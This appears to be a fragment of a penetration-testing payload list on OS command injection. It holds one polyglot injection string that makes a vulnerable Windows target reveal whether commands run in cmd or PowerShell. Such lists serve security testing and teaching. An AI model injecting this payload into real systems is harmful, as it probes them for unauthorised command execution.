OS Command Injection

# command for shell

(dir 2>&1 *' |echo CMD); &<# rem #>echo PowerShell